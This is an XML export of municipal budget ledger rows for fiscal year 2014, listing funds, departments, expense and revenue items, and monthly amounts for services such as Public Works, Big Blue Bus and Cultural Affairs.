<row _id="12383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60.0</total></row>
<row _id="12384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>606.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>606.0</total></row>
<row _id="12385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>541.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2191.67</total></row>
<row _id="12386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>791.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2688.67</total></row>
<row _id="12387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9556.0</total></row>
<row _id="12388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-140425.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-140425.0</total></row>
<row _id="12389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5042.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5042.0</total></row>
<row _id="12390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31326.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31326.0</total></row>
<row _id="12391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>261952.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261952.0</total></row>
<row _id="12392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>617697.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>617697.0</total></row>
<row _id="12393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8916.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8916.0</total></row>
<row _id="12394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6770.0</total></row>
<row _id="12395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26033.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26033.0</total></row>
<row _id="12396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21246.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21246.0</total></row>
<row _id="12397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>52783.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56950.0</total></row>
<row _id="12398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1812.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>416</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2228.0</total></row>
<row _id="12399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>288.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="12400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>648607.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>648607.0</total></row>
<row _id="12401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6585.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6585.0</total></row>
<row _id="12402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>1200</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1577.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1577.0</total></row>
<row _id="12404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>94095.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94095.0</total></row>
<row _id="12405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="12406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408390.0</object><object_description>REAL BEACH PKG FED GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-530898</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-530898.0</total></row>
<row _id="12407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401400.0</object><object_description>UTILITY EXCAVATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-89594.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-89594.0</total></row>
<row _id="12408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="12409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570070.0</object><object_description>TRANSFER-MEASURE V FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-915434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-915434.0</total></row>
<row _id="12410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>155000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="12411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544910.0</object><object_description>TRANSIT STORE EXPENSES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1817.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1817.0</total></row>
<row _id="12412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12600.0</total></row>
<row _id="12413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22397.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22397.0</total></row>
<row _id="12414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3915.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3915.0</total></row>
<row _id="12415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>677.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>677.0</total></row>
<row _id="12416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57831.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57831.0</total></row>
<row _id="12417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3998.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1820</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5818.0</total></row>
<row _id="12418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5535.0</total></row>
<row _id="12419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="12420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404040.0</object><object_description>SAMOHI SR2S GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-814627</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-814627.0</total></row>
<row _id="12421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-11187.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11187.0</total></row>
<row _id="12422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>912.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>250.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1162.0</total></row>
<row _id="12423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="12424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2280.0</total></row>
<row _id="12425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>344554.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344554.0</total></row>
<row _id="12426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="12427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>150</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150.0</total></row>
<row _id="12428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3144.0</total></row>
<row _id="12429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>6241</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6241.0</total></row>
<row _id="12430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2657047.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2657047.0</total></row>
